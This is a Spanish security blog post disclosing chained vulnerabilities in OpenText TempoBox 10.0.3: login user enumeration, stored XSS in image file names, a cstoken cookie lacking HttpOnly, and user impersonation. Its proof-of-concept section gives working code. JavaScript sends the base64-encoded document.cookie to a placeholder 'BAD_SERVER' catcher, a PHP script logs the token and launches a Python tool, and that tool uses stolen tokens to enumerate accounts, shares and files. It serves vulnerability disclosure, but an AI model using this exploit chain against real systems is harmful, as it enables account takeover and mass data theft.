Vulnerabilidades en OpenText TempoBox 10.0.3
Durante un ejercicio del Red Team se descubrieron una serie de vulnerabilidades en OpenText TempoBox que, una vez combinadas, permitían realizar un robo masivo de datos sensibles.
Tempo Box es un producto que permite el intercambio y alojamiento de ficheros en entornos corporativos, al estilo de DropBox y Google Drive. Cada usuario posee carpetas donde sube sus ficheros, pudiendo compartir dichas carpetas entre otros usuarios para poder interactuar con ellas.
Las vulnerabilidades fueron reportadas al fabricante, recibiendo la siguiente respuesta:
(…)
OpenText Tempo 10.0.3 for Content Server 10.0.0 was released over four years ago in September 2012. Since that time, the product has been re-architected twice and many reported issues have been fixed in later versions. Additionally, Content Server 10.0.0 transitioned to the sustaining maintenance phase of its support lifecycle in September 2016. As part of that change, R&D discontinued patching Tempo 10.0.3.
(…)
Our R&D and Security Teams have evaluated your concerns and have concluded that the more recent versions of Tempo Box are not vulnerable to these exploits.
(…)
Debido a que las versiones más recientes de OpenText TempoBox no son afectadas por las vulnerabilidades descubiertas se proceden a detallar en este post.
Detalle de las vulnerabilidades
1) Enumeración de usuarios
Cuando se intenta iniciar sesión en la plataforma web de TempoBox se muestran mensajes de error diferentes si el usuario se encuentra registrado o no. Esta situación puede ser abusada por un usuario malintencionado para comprobar en un entorno corporativo qué usuarios tienen cuenta y proceder a realizar un ataque de fuerza bruta sobre ellos.
Si se intenta iniciar sesión con un usuario inexistente el servidor responde de la siguiente forma:
{"APIVersion":4,"clientID":null,"info":{"auth":false,"errMsg":"Authentication failed.","exceptionCode":"badlogin","ok":false},"serverDate":"2016-10-14T08:49:27Z","subtype":"auth","type":"auth","auth":false}
Sin embargo, si el usuario sí está registrado el mensaje de error difiere ligeramente:
{"APIVersion":4,"clientID":null,"info":{"auth":false,"errMsg":"Invalid username/password specified.","exceptionCode":"badlogin","ok":false},"serverDate":"2016-10-14T08:50:17Z","subtype":"auth","type":"auth","auth":false}
2) Cross-Site Scripting (XSS) persistente
Es posible inyectar código javascript malicioso en el nombre de un fichero de imagen, ejecutándose éste cuando la imagen es previsualizada. Debido a que el espacio disponible para alojar nuestro payload es muy limitado se hace obliatorio recurrir a combinar dos estrategias clásicas:
utilizar un acortador de URLs y utilizar «//» sin declarar el esquema de la URL (src=//bad-url). Utilizando directamente «//» el navegador utilizará el mismo esquema la web, por lo que tiene que tenerse en cuenta si usa HTTPs tener un certificado válido.
A través de este XSS es posible realizar un pequeño worm que se autoreplique en las carpetas compartidas, subir malware y compartirlo, o exfiltrar archivos.
3) Ausencia de atributo HttpOnly en la cookie «cstoken»
La cookie correspondiente a la sesión se encuentra adecuadamente configurada con los atributos secure y HttpOnly, impidiendo conseguir de forma directa poder secuestra la sesión del usuario. Sin embargo una segunda cookie, cstoken, no tiene configurado el atributo HttpOnly, permitiendo ser
accedida directamente desde el código JavaScript que se inyecte a través del XSS. El valor de esta cookie no varía entre sesiones del mismo usuario a lo largo del tiempo, por lo que una vez robada se puede seguir utilizando de forma indefinida.
4) Suplantación de usuarios
La API de TempoBox únicamente comprueba el valor de la cookie «cstoken» y no el de la cookie de sesión. Debido a esto si obtenemos el valor de esta cookie, a través del XSS, podremos entrar en su cuenta y realizar cualquier acción. Desde la sesión del usuario A es posible acceder al usuario B cambiando la cookie cstoken por la del usuario B.
Prueba de Concepto
Combinando todas las vulnerabilidades anteriores es posible plantear dos escenarios donde aprovechar el XSS Worm: robo masivo de información o distribución de malware a través de archivos ofimáticos. En este post vamos a liberar un pequeño PoC, combinando las vulnerabilidades de OpenText TempoBox, que extrae información de una cuenta que ejecute el payload JavaScript.
En primer lugar se despliega un archivo JavaScript en un dominio corto que tengamos a nuestra disposición. Este JavaScript símplemente debe de leer el valor del cstoken y enviarlo a nuestro servidor.
//JavaScript function getToken(url) { var xmlHttp = new XMLHttpRequest(); mlHttp.open( "GET", url, false ); xmlHttp.send( null ); return xmlHttp.responseText; } token = btoa(document.cookie); catcher = "https://BAD_SERVER/catcher.php?cstoken=" alert(catcher + token); //It is just a PoC test = getToken(catcher + token); //EoF
En nuestro servidor tenemos preparado un recurso «Catcher.php» cuya función es recoger la cookie y lanzar un script en python que será el encargado de interaccionar con la API de TempoBox.
<?php if (isset($_GET['cstoken'])){ file_put_contents("../logs/xss.txt", base64_decode($_GET['cstoken']) . "\n", FILE_APPEND); $token = array(); preg_match('/\=(.*?)\;/', base64_decode($_GET['cstoken']), $token); exec("python openlegs.py --url=https://victim/tempo/ --user=USERNAME --password=PASSWORD --login --filesystem --cstoken=" . base64_encode(base64_decode(substr($token[0],1,-1))), $output); file_put_contents("../logs/tempo.txt", "\n============\n" . implode("\n",$output) . "\n", FILE_APPEND); } ?>
Por último el código de openlegs.py:
import argparse import json import requests print "\n\n" + "<-===[OpenLegs v0.1]===->\n" parser = argparse.ArgumentParser(description='OpenText Tempo utility') parser.add_argument('--url', dest='url', help='Url del Tempo Box') #parser.add_argument('--ulist', dest='user_list', help="Lista de usuarios sobre los que actuar. Formato user-password" ) parser.add_argument("--user", dest='uuser', help="Usuario sobre el que actuar") parser.add_argument("--password", dest='upwd', help="Password del usuario") parser.add_argument("--cstoken", dest='token', help="cstoken del user a impersonar") parser.add_argument("--login", dest='flag_login', action='store_true', help="Inicia sesión con los credenciales proporcionados y muestra información de la cuenta") parser.add_argument("--filesystem", dest='flag_files', action='store_true', help="En combinación de --login coge el nombre y propiedades de todos los archivos") args = parser.parse_args() ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36' cook = 'JSESSIONID=CB8E1A87EED08290CB0C7D4F4EA3C31D' headers = {'User-Agent' : ua, 'Accept' : 'application/json, text/javascript, */*; q=0.01', 'Content-Type' : 'application/json; charset=utf-8', 'Cookie' : cook} def login(user, password): payload = {"type":"auth","subtype":"auth","storeResponses":32,"username":user,"password":password,"auto":"false"} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) try: if answer['info']['errMsg']: if "failed" in answer['info']['errMsg']: return 0 elif "Invalid" in answer['info']['errMsg']: return 1 else: return -1 except: return answer def check_settings(token, id, uid): payload = {'cstoken' : token, 'clientID' : id} res = requests.get(url + "v4/users/" + uid + "/settings", params=payload, headers=headers) answer = json.loads(res.text) return answer def getsharelist(cstoken): payload = {"type":"request","subtype":"getsharelist","cstoken":cstoken,"info":{"pageSize":1000,"pageNumber":1}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) for x in answer['info']['results']: print " [-] Folder Name => " + x['FolderName'] print " |-- ReadOnly --> " + str(x['IsReadOnly']) print " |-- Nombre --> " + x['FirstName'] + " " + x['LastName'] print " |-- Last Update --> " + x['LastUpdate'] print " |-- Modified by --> " + x['ModifiedByUserName'] + " ("+ x['Name'] + ")" def getfoldercontents(cstoken, folderID): payload = {"type":"request","subtype":"getfoldercontents","cstoken":cstoken,"info":{"containerID":folderID,"sort":"NAME","page":1,"pageSize":100,"desc":"false","fields":["DATAID","PARENTID","NAME","SUBTYPE","MIMETYPE","CHILDCOUNT","DATASIZE","MODIFYDATE","ISSHARED","MODIFYUSERNAME","SHAREDFOLDER","ISSHAREABLE","ISROOTSHARE","ISREADONLY"]}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) return answer def recursive_folderid(cstoken, jfolders): folders = jfolders['info']['results']['childNodes'] visited = [] for folder in folders: if folder not in visited: current = getfoldercontents(cstoken, folder) for x in current['info']['results']['childNodes']: folders.append(x) visited.append(folder) return visited def getobjectinfo(cstoken, folderid): payload = {"type":"request","subtype":"getobjectinfo","cstoken":cstoken,"info":{"nodeIDs":[folderid],"fields":["DATAID","NAME","SUBTYPE","CHILDCOUNT","ISSHARED","ISSHAREABLE","ISROOTSHARE","MODIFYUSERNAME","MODIFYDATE","OWNERNAME","OWNERPHOTOURL","ISREADONLY","USERID","ISNOTIFYSET"]}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) return answer def getsharesforobject(cstoken, folderID): payload = {"type":"request","subtype":"getsharesforobject","cstoken":cstoken,"info":{"nodeID":folderID}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) return answer def process_folder(cstoken, folders): for folder in folders: inf = getobjectinfo(cstoken, folder) for x in inf['info']['results']['contents']: name = x['NAME'] print " [-] Name => " + name ownername = x['OWNERNAME'] print " |-- Owner --> " + ownername last_update = x['MODIFYDATE'] print " |-- Last update --> " + last_update shareable = str(x['ISSHAREABLE']) print " |-- Shareable --> " + shareable shared = str(x['ISSHARED']) print " |-- Shared --> " + shared rooty = str(x['ISROOTSHARE']) print " |-- Root Folder --> " + rooty if "T" in rooty: objshared = getsharesforobject(cstoken, folder) print " +----- [ Colaborators ] --> " for y in objshared['info']['results']: print " +-----> " + y["FirstName"] + " " + y["LastName"] + " (" + y["Name"] + ")" if not args.url: print "[!] Error: please provide an URL." exit(0) else: url = args.url if url[-1:] != "/": url = url + "/" if not args.uuser and not args.upwd: print "[!] Error: please provide user and password." exit(0) if args.flag_login: ini = login(args.uuser, args.upwd) if ini == -1: print "[!] Unkown error. Quitting!" exit(0) elif ini == 0: print "[!] User not registered. Quitting!" exit(0) elif ini == 1: print "[!] User exists but password is wrong. Quitting!" else: print "[+] User successfully logged in!\n\n[+] Account information: " if args.token: cstoken = args.token else: cstoken = ini['cstoken'] print " [-] CsToken => " + cstoken userID = str(ini['info']['userID']) print " [-] UserID => " + userID clientID = ini['clientID'] print " [-] ClientID => " + clientID print " [-] Backend => " + ini['info']['csbaseurl'] print " [-] Name => " + ini['info']['firstName'] + " " + ini['info']['lastName'] email = ini['info']['username'] print " [-] E-mail => " + email rootfolder = str(ini['info']['rootFolder']) print " [-] Root folder ID => " + rootfolder print "\n\n[+] Account privileges: " print " [-] Invite => " + str(ini['info']['canInvite']) print " [-] Publish => " + str(ini['info']['canPublish']) print " [-] Share => " + str(ini['info']['canShare']) print "\n\n[+] Account notifications: " settings = check_settings(cstoken, clientID, userID) print " [-] On folder change => " + str(settings['notifyOnFolderChange']) print " [-] On share request => " + str(settings['notifyOnShareRequest']) # Print share requests print "\n\n[+] Share requests: " getsharelist(cstoken) if args.flag_files: # Print folders & files print "\n\n[+] Folders: " process_folder(cstoken,recursive_folderid(cstoken, getfoldercontents(cstoken, rootfolder)))
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/
En TarlogicTeo y en TarlogicMadrid.